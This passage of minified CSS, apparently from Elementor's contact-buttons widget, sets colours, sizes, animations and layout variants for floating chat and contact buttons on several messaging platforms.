ontact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#cdf7ff;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#00aff0;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#0d72cf;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-messenger{--e-contact-buttons-button-bg:#168aff;--e-contact-buttons-button-bg-hover:#168aff;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#168aff;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#f0f0f0;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#168aff;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#168aff;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-viber{--e-contact-buttons-button-bg:#7360f2;--e-contact-buttons-button-bg-hover:#4e4879;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#4e4879;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#e5e1ff;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#7360f2;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#4e4879;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-platform-waze{--e-contact-buttons-button-bg:#3cf;--e-contact-buttons-button-bg-hover:#09f;--e-contact-buttons-button-icon:#fff;--e-contact-buttons-button-icon-hover:#fff;--e-contact-buttons-top-bar-bg:#09f;--e-contact-buttons-top-bar-title:#fff;--e-contact-buttons-top-bar-subtitle:#fff;--e-contact-buttons-close-button-color:#fff;--e-contact-buttons-message-bubble-body:#000;--e-contact-buttons-message-bubble-time:#000;--e-contact-buttons-message-bubble-name:#000;--e-contact-buttons-message-bubble-bubble-bg:#fff;--e-contact-buttons-message-bubble-chat-bg:#ece5dd;--e-contact-buttons-send-button-icon:#fff;--e-contact-buttons-send-button-bg:#3cf;--e-contact-buttons-send-button-icon-hover:#fff;--e-contact-buttons-send-button-bg-hover:#09f;--e-contact-buttons-chat-box-bg:#fff}.e-contact-buttons.has-corners-rounded{--e-contact-buttons-border-radius:20px}.e-contact-buttons.has-corners-round{--e-contact-buttons-border-radius:50px}.e-contact-buttons.has-corners-sharp{--e-contact-buttons-border-radius:0}.e-contact-buttons:not(.has-animations) .e-contact-buttons__content-wrapper.hidden{display:none}.e-contact-buttons.has-animations .e-contact-buttons__content-wrapper.hidden{display:block;visibility:hidden;transition:1s}.e-contact-buttons.has-animations .e-contact-buttons__content-wrapper.animated-wrapper{visibility:hidden;opacity:0;transform:none;animation:e-contact-buttons-close 1s}.e-contact-buttons__chat-button-shadow,.e-contact-buttons__contact-box-shadow,.e-contact-buttons__contact-box-shadow:is(a),.e-contact-buttons__content{box-shadow:var(--e-contact-buttons-box-shadow)}.e-contact-buttons__chat-button-drop-shadow{filter:var(--e-contact-buttons-drop-shadow)}.e-contact-buttons__content{border-radius:var(--e-contact-buttons-border-radius);font-family:var(--e-global-typography-text-font-family,"Poppins"),Sans-serif;overflow:hidden}.e-contact-buttons__top-bar{align-items:center;background-color:var(--e-contact-buttons-top-bar-bg);display:flex;gap:20px;padding:20px;position:relative}.e-contact-buttons__top-bar-title{color:var(--e-contact-buttons-top-bar-title);font-size:24px;font-weight:700;margin-block-end:0}.e-contact-buttons__top-bar-subtitle{color:var(--e-contact-buttons-top-bar-subtitle);font-size:20px;margin-block-end:0}.e-contact-buttons__profile-image{align-items:center;display:flex;position:relative}.e-contact-buttons__profile-image img{border-radius:50%;-o-object-fit:cover;object-fit:cover}.e-contact-buttons__profile-image.has-size-small img{height:var(--e-contact-buttons-profile-image-size-small);width:var(--e-contact-buttons-profile-image-size-small)}.e-contact-buttons__profile-image.has-size-medium img{height:var(--e-contact-buttons-profile-image-size-medium);width:var(--e-contact-buttons-profile-image-size-medium)}.e-contact-buttons__profile-image.has-size-large img{height:var(--e-contact-buttons-profile-image-size-large);width:var(--e-contact-buttons-profile-image-size-large)}.e-contact-buttons__profile-image.has-dot:after{background-color:var(--e-contact-buttons-profile-dot-bg);border:3px solid var(--e-contact-buttons-top-bar-bg);border-radius:50%;bottom:5px;content:"";height:20px;position:absolute;right:0;width:20px}.e-contact-buttons__close-button,.e-contact-buttons__close-button[type=button]{background:none;border:0;color:var(--e-contact-buttons-close-button-color);padding:0;position:absolute;inset-inline-end:20px;top:20px}.e-contact-buttons__close-button:focus,.e-contact-buttons__close-button:hover,.e-contact-buttons__close-button[type=button]:focus,.e-contact-buttons__close-button[type=button]:hover{background:none;border:0;color:var(--e-contact-buttons-close-button-color)}.e-contact-buttons__chat-button-container,.e-contact-buttons__contact-icon-link,.e-contact-buttons__content-wrapper{pointer-events:auto}.e-contact-buttons__chat-button-container{display:flex;max-width:-moz-max-content;max-width:max-content}@media (max-width:767px){.e-contact-buttons__chat-button-container{position:relative}}.e-contact-buttons__chat-button,.e-contact-buttons__chat-button[type=button]{align-items:center;background-color:var(--e-contact-buttons-button-bg);border-radius:50%;border:0;color:var(--e-contact-buttons-button-icon);display:flex;justify-content:center;padding:0;position:relative;transition:all .3s}.e-contact-buttons__chat-button[type=button] svg,.e-contact-buttons__chat-button svg{fill:var(--e-contact-buttons-button-icon)}.e-contact-buttons__chat-button:focus,.e-contact-buttons__chat-button:hover,.e-contact-buttons__chat-button[type=button]:focus,.e-contact-buttons__chat-button[type=button]:hover{background-color:var(--e-contact-buttons-button-bg-hover);color:var(--e-contact-buttons-button-icon-hover);transition:all .3s}.e-contact-buttons__chat-button:focus svg,.e-contact-buttons__chat-button:hover svg,.e-contact-buttons__chat-button[type=button]:focus svg,.e-contact-buttons__chat-button[type=button]:hover svg{fill:var(--e-contact-buttons-button-icon-hover)}.e-contact-buttons__chat-button.has-dot:after,.e-contact-buttons__chat-button[type=button].has-dot:after{background-color:var(--e-contact-buttons-dot);border-radius:50%;content:"";height:var(--e-contact-buttons-dot-size);position:absolute;right:0;top:0;width:var(--e-contact-buttons-dot-size)}.e-contact-buttons__chat-button.has-size-small,.e-contact-buttons__chat-button[type=button].has-size-small{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons__chat-button.has-size-small svg,.e-contact-buttons__chat-button[type=button].has-size-small svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons__chat-button.has-size-small i,.e-contact-buttons__chat-button[type=button].has-size-small i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons__chat-button.has-size-medium,.e-contact-buttons__chat-button[type=button].has-size-medium{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons__chat-button.has-size-medium svg,.e-contact-buttons__chat-button[type=button].has-size-medium svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons__chat-button.has-size-medium i,.e-contact-buttons__chat-button[type=button].has-size-medium i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons__chat-button.has-size-large,.e-contact-buttons__chat-button[type=button].has-size-large{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons__chat-button.has-size-large svg,.e-contact-buttons__chat-button[type=button].has-size-large svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons__chat-button.has-size-large i,.e-contact-buttons__chat-button[type=button].has-size-large i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons__chat-button.has-entrance-animation-delay,.e-contact-buttons__chat-button[type=button].has-entrance-animation-delay{animation-delay:var(--e-contact-button-chat-button-animation-delay)}.e-contact-buttons__chat-button.has-entrance-animation-duration-slow,.e-contact-buttons__chat-button[type=button].has-entrance-animation-duration-slow{animation-duration:2s}.e-contact-buttons__chat-button.has-entrance-animation-duration-normal,.e-contact-buttons__chat-button[type=button].has-entrance-animation-duration-normal{animation-duration:1s}.e-contact-buttons__chat-button.has-entrance-animation-duration-fast,.e-contact-buttons__chat-button[type=button].has-entrance-animation-duration-fast{animation-duration:.8s}.e-contact-buttons__chat-button.has-entrance-animation,.e-contact-buttons__chat-button[type=button].has-entrance-animation{opacity:0}.e-contact-buttons__chat-button.visible,.e-contact-buttons__chat-button[type=button].visible{opacity:1}.e-contact-buttons__message-bubble{background-color:var(--e-contact-buttons-message-bubble-chat-bg);padding:25px 20px;padding-inline-start:40px}.e-contact-buttons__message-bubble.has-typing-animation .e-contact-buttons__bubble-container{height:0;opacity:0;visibility:hidden}.e-contact-buttons__bubble{background-color:var(--e-contact-buttons-message-bubble-bubble-bg);border-radius:15px;padding:20px;position:relative}.e-contact-buttons__bubble:after{border-style:solid;border-inline-start-width:0;border-inline-end-width:40px;border-block-start-width:0;border-block-end-width:40px;border-inline-start-color:transparent;border-inline-end-color:var(--e-contact-buttons-message-bubble-bubble-bg);border-block-start-color:transparent;border-block-end-color:transparent;content:"";height:0;position:absolute;inset-inline-start:-20px;top:0;width:0}.e-contact-buttons__message-bubble-name{color:var(--e-contact-buttons-message-bubble-name);font-size:20px;line-height:25px;font-weight:600;margin-block-end:8px}.e-contact-buttons__message-bubble-body{color:var(--e-contact-buttons-message-bubble-body);font-size:20px;line-height:25px;margin-block-end:8px}.e-contact-buttons__message-bubble-time{color:var(--e-contact-buttons-message-bubble-time);font-size:20px;line-height:25px;font-weight:600;margin-block-end:0;text-align:end}.e-contact-buttons__powered-container{text-align:center}.e-contact-buttons__powered-text{color:#000;font-size:16px;font-weight:500;margin-block-end:12px}.e-contact-buttons__dots-container{background-color:var(--e-contact-buttons-message-bubble-bubble-bg);border-radius:15px;display:inline-flex;padding:10px 12px}.e-contact-buttons__dot{animation:e-contact-buttons-typing-jump 1s infinite;background-color:var(--e-contact-buttons-message-bubble-name);border-radius:50%;display:inline-block;height:7px;margin-left:auto;margin-right:3px;position:relative;width:7px}.e-contact-buttons__dot-1{animation-delay:.2s}.e-contact-buttons__dot-2{animation-delay:.4s}.e-contact-buttons__dot-3{animation-delay:.6s}.e-contact-buttons__send-button{background-color:var(--e-contact-buttons-chat-box-bg);padding:12px 20px 20px}.e-contact-buttons__send-button .e-contact-buttons__send-cta{color:var(--e-contact-buttons-send-button-icon)}.e-contact-buttons__send-button .e-contact-buttons__send-cta:focus,.e-contact-buttons__send-button .e-contact-buttons__send-cta:hover{color:var(--e-contact-buttons-send-button-icon-hover)}.e-contact-buttons__send-cta{align-items:center;background-color:var(--e-contact-buttons-send-button-bg);border-radius:30px;display:flex;font-size:18px;font-weight:500;gap:8px;justify-content:center;padding:10px;text-align:center;transition:all .3s;width:100%}.e-contact-buttons__send-cta svg{fill:var(--e-contact-buttons-send-button-icon);height:28px;width:28px}.e-contact-buttons__send-cta:focus,.e-contact-buttons__send-cta:hover{background-color:var(--e-contact-buttons-send-button-bg-hover);transition:all .3s}.e-contact-buttons__send-cta:focus svg,.e-contact-buttons__send-cta:hover svg{fill:var(--e-contact-buttons-send-button-icon-hover)}.e-contact-buttons__content.visible .e-contact-buttons__message-bubble.has-typing-animation .e-contact-buttons__dots-container{animation-delay:0;animation-duration:2s;animation-fill-mode:forwards;animation-iteration-count:1;animation-name:e-contact-buttons-disappear}.e-contact-buttons__content.visible .e-contact-buttons__message-bubble.has-typing-animation .e-contact-buttons__bubble-container{animation-delay:2s;animation-duration:.1s;animation-fill-mode:forwards;animation-iteration-count:1;animation-name:e-contact-buttons-appear}.e-con:has(.e-contact-buttons)>.e-con-inner,.e-con>.e-con-inner.e-con-inner--floating-buttons{padding-block-end:0;padding-block-start:0}@keyframes e-contact-buttons-typing-jump{0%{bottom:0}20%{bottom:5px}40%{bottom:0}}@keyframes e-contact-buttons-appear{0%{height:0;opacity:0;visibility:hidden}to{height:auto;opacity:1;visibility:visible}}@keyframes e-contact-buttons-disappear{0%{display:inline-flex}to{display:none}}@keyframes e-contact-buttons-close{0%,99.99%{visibility:visible;opacity:1}to{visibility:hidden;opacity:0;transform:none}}.e-contact-buttons-var-1{--e-contact-buttons-button-bg:#324a6d;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-top-bar-bg:#324a6d;--e-contact-buttons-message-bubble-name:#1c2448;--e-contact-buttons-message-bubble-body:#1c2448;--e-contact-buttons-message-bubble-time:#1c2448;--e-contact-buttons-message-bubble-bubble-bg:#c8d5dc;--e-contact-buttons-message-bubble-chat-bg:#fff;--e-contact-buttons-contact-text:#1c2448;--e-contact-buttons-var-1-size-small:26px;--e-contact-buttons-var-1-size-medium:28px;--e-contact-buttons-var-1-size-large:32px}.e-contact-buttons-var-1 .e-contact-buttons__contact{align-items:center;background-color:var(--e-contact-buttons-chat-box-bg);display:flex;flex-direction:column;gap:20px;justify-content:center;padding:0 20px 20px}.e-contact-buttons-var-1 .e-contact-buttons__message-bubble{background-color:var(--e-contact-buttons-chat-box-bg);padding:20px;padding-inline-start:40px}.e-contact-buttons-var-1 .e-contact-buttons__contact-text{color:var(--e-contact-buttons-contact-text);font-size:20px;font-weight:400;line-height:25px;margin-bottom:0}.e-contact-buttons-var-1 .e-contact-buttons__contact-links{display:flex;gap:12px}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link{align-items:center;background-color:var(--e-contact-buttons-contact-button-bg);border-radius:50px;color:var(--e-contact-buttons-contact-button-icon);display:inline-flex;justify-content:center;transition:all .3s}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:hover{background-color:var(--e-contact-buttons-contact-button-bg-hover);color:var(--e-contact-buttons-contact-button-icon-hover);transition:all .3s}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon-hover)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-small{height:var(--e-contact-buttons-icon-size-small);width:var(--e-contact-buttons-icon-size-small)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-small svg{height:var(--e-contact-buttons-var-1-size-small);width:var(--e-contact-buttons-var-1-size-small)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-small i{font-size:var(--e-contact-buttons-var-1-size-small)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-medium{height:var(--e-contact-buttons-icon-size-medium);width:var(--e-contact-buttons-icon-size-medium)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-medium svg{height:var(--e-contact-buttons-var-1-size-medium);width:var(--e-contact-buttons-var-1-size-medium)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-medium i{font-size:var(--e-contact-buttons-var-1-size-medium)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-large{height:var(--e-contact-buttons-icon-size-large);width:var(--e-contact-buttons-icon-size-large)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-large svg{height:var(--e-contact-buttons-var-1-size-large);width:var(--e-contact-buttons-var-1-size-large)}.e-contact-buttons-var-1 .e-contact-buttons__contact-icon-link.has-size-large i{font-size:var(--e-contact-buttons-var-1-size-large)}.e-contact-buttons-var-3{--e-contact-buttons-size-small:48px;--e-contact-buttons-size-medium:56px;--e-contact-buttons-size-large:64px;--e-contact-buttons-svg-size-small:24px;--e-contact-buttons-svg-size-medium:28px;--e-contact-buttons-svg-size-large:32px;--e-contact-buttons-icon-link-gap:12px;--e-contact-buttons-icon-link-spacing:8px;--e-contact-buttons-icon-link-divider-weight:1px;--e-contact-buttons-send-button-padding-block-end:8px;--e-contact-buttons-send-button-padding-block-start:8px;--e-contact-buttons-send-button-padding-inline-end:16px;--e-contact-buttons-send-button-padding-inline-start:16px;--e-contact-buttons-chat-box-padding-block-end:16px;--e-contact-buttons-chat-box-padding-block-start:16px;--e-contact-buttons-chat-box-padding-inline-end:16px;--e-contact-buttons-chat-box-padding-inline-start:16px;--e-contact-buttons-button-bg:#324a6d;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-active-button-bg:#f3f5f8;--e-contact-buttons-active-button-color:#1c2448;--e-contact-buttons-close-button-color:#1c2448;--e-contact-buttons-top-bar-title:#1c2448;--e-contact-buttons-icon-link-text-color:#1c2448;--e-contact-buttons-icon-link-text-color-hover:#324a6d;--e-contact-buttons-icon-link-divider-color:#324a6d;--e-contact-buttons-send-button-text:#fff;--e-contact-buttons-send-button-text-hover:#fff;--e-contact-buttons-send-button-bg:#467ff7;--e-contact-buttons-send-button-bg-hover:#324a6d;width:auto}.e-contact-buttons-var-3.has-h-alignment-center .e-contact-buttons__content-wrapper{inset-inline-end:40px}.e-contact-buttons-var-3 .e-contact-buttons__chat-buttons-container{display:flex}.e-contact-buttons-var-3 .e-contact-buttons__chat-button[aria-expanded=true],.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button][aria-expanded=true]{background-color:var(--e-contact-buttons-active-button-bg);color:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button[aria-expanded=true] svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button][aria-expanded=true] svg{fill:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-small,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-small,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-small,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-small{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-small svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-small svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-small svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-small svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-small i,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-small i,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-small i,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-small i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-medium,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-medium,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-medium,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-medium{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-medium svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-medium svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-medium svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-medium svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-medium i,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-medium i,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-medium i,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-medium i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-large,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-large,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-large,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-large{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-large svg,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-large svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-large svg,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-large svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-3 .e-contact-buttons__chat-button.has-size-large i,.e-contact-buttons-var-3 .e-contact-buttons__chat-button[type=button].has-size-large i,.e-contact-buttons-var-3 .e-contact-buttons__close-button.has-size-large i,.e-contact-buttons-var-3 .e-contact-buttons__close-button[type=button].has-size-large i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-3 .e-contact-buttons__content{background-color:var(--e-contact-buttons-chat-box-bg);padding-block-start:var(--e-contact-buttons-chat-box-padding-block-start);padding-block-end:var(--e-contact-buttons-chat-box-padding-block-end);padding-inline-start:var(--e-contact-buttons-chat-box-padding-inline-start);padding-inline-end:var(--e-contact-buttons-chat-box-padding-inline-end)}.e-contact-buttons-var-3 .e-contact-buttons__top-bar{background-color:var(--e-contact-buttons-chat-box-bg);padding:0 20px 20px 0;position:relative}.e-contact-buttons-var-3 .e-contact-buttons__top-bar .e-contact-buttons__close-button{background:none;border:0;color:var(--e-contact-buttons-close-button-color);display:flex;padding:0;position:absolute;inset-inline-end:0;top:0}.e-contact-buttons-var-3 .e-contact-buttons__top-bar .e-contact-buttons__close-button:focus,.e-contact-buttons-var-3 .e-contact-buttons__top-bar .e-contact-buttons__close-button:hover{background:none;border:0;color:var(--e-contact-buttons-close-button-color)}.e-contact-buttons-var-3 .e-contact-buttons__top-bar-title{font-size:18px;font-weight:600;line-height:18px}.e-contact-buttons-var-3 .e-contact-buttons__links{background-color:var(--e-contact-buttons-chat-box-bg);display:flex;flex-direction:column;padding-inline:16px;padding-block-end:20px}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]){color:var(--e-contact-buttons-icon-link-text-color);display:flex;flex-direction:row;font-size:16px;font-weight:500;line-height:24px;gap:var(--e-contact-buttons-icon-link-gap);margin-block-end:var(--e-contact-buttons-icon-link-spacing)}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:last-of-type,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):last-of-type{margin-block-end:0}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]) svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-icon-link-text-color);height:1em;width:1em}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:hover,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):focus,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):hover{color:var(--e-contact-buttons-icon-link-text-color-hover)}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:hover svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):focus svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):hover svg{fill:var(--e-contact-buttons-icon-link-text-color-hover)}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-start .e-contact-buttons__contact-icon-container,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-start .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-start .e-contact-buttons__contact-tooltip,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-start .e-contact-buttons__contact-tooltip{order:2}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-end .e-contact-buttons__contact-icon-container,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-end .e-contact-buttons__contact-icon-container{display:flex;flex-grow:1;justify-content:flex-end;order:2}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-end .e-contact-buttons__contact-tooltip,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-end .e-contact-buttons__contact-tooltip{order:1}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers{padding-block-end:var(--e-contact-buttons-icon-link-spacing);position:relative}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers:after,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers:after{background-color:var(--e-contact-buttons-icon-link-divider-color);bottom:0;content:"";display:block;height:var(--e-contact-buttons-icon-link-divider-weight);position:absolute;left:0;width:100%}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers:last-of-type,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers:last-of-type{padding-block-end:0}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers:last-of-type:after,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers:last-of-type:after{display:none}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-container{align-items:center;display:flex}.e-contact-buttons-var-3 .e-contact-buttons__cta-button{background-color:var(--e-contact-buttons-send-button-bg);border-radius:5px;color:var(--e-contact-buttons-send-button-text);display:flex;font-size:16px;font-weight:500;justify-content:center;line-height:24px;padding-block-start:var(--e-contact-buttons-send-button-padding-block-start);padding-block-end:var(--e-contact-buttons-send-button-padding-block-end);padding-inline-start:var(--e-contact-buttons-send-button-padding-inline-start);padding-inline-end:var(--e-contact-buttons-send-button-padding-inline-end)}.e-contact-buttons-var-3 .e-contact-buttons__cta-button:focus,.e-contact-buttons-var-3 .e-contact-buttons__cta-button:hover{background-color:var(--e-contact-buttons-send-button-bg-hover);color:var(--e-contact-buttons-send-button-text-hover)}.e-contact-buttons-var-4{--e-contact-buttons-size-small:45px;--e-contact-buttons-size-medium:50px;--e-contact-buttons-size-large:55px;--e-contact-buttons-icon-small:20px;--e-contact-buttons-icon-medium:24px;--e-contact-buttons-icon-large:26px;--e-contact-buttons-button-bg-hover:#324a6d;--e-contact-buttons-active-button-color:#1c2448;--e-contact-buttons-contact-button-icon-hover:#467ff7;--e-contact-buttons-contact-button-bg-hover:#fff;width:auto}.e-contact-buttons-var-4 .e-contact-buttons__chat-buttons-container{display:flex}.e-contact-buttons-var-4 .e-contact-buttons__close-button{border-radius:50%;inset-inline-end:unset;inset-inline-start:unset;position:relative;top:unset}.e-contact-buttons-var-4 .e-contact-buttons__close-button,.e-contact-buttons-var-4 .e-contact-buttons__close-button:focus,.e-contact-buttons-var-4 .e-contact-buttons__close-button:hover{background-color:var(--e-contact-buttons-active-button-bg);color:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-4 .e-contact-buttons__chat-button[aria-expanded=true],.e-contact-buttons-var-4 .e-contact-buttons__chat-button[type=button][aria-expanded=true],.e-contact-buttons-var-4 .e-contact-buttons__close-button[aria-expanded=false],.e-contact-buttons-var-4 .e-contact-buttons__close-button[type=button][aria-expanded=false]{display:none}.e-contact-buttons-var-4 .e-contact-buttons__content{border-radius:0;box-shadow:none;margin:0;overflow:visible}.e-contact-buttons-var-4 .e-contact-buttons__contact-links{display:flex;flex-direction:column;gap:var(--e-contact-buttons-contact-gap)}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-container{align-items:center;background-color:var(--e-contact-buttons-contact-button-bg);border-radius:50px;display:inline-flex;justify-content:center;transition:all .3s}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link{align-items:center;display:flex;flex-direction:row;gap:14px}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link .e-contact-buttons__contact-icon-container{color:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:focus .e-contact-buttons__contact-icon-container,.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:hover .e-contact-buttons__contact-icon-container{background-color:var(--e-contact-buttons-contact-button-bg-hover);color:var(--e-contact-buttons-contact-button-icon-hover);transition:all .3s}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-4 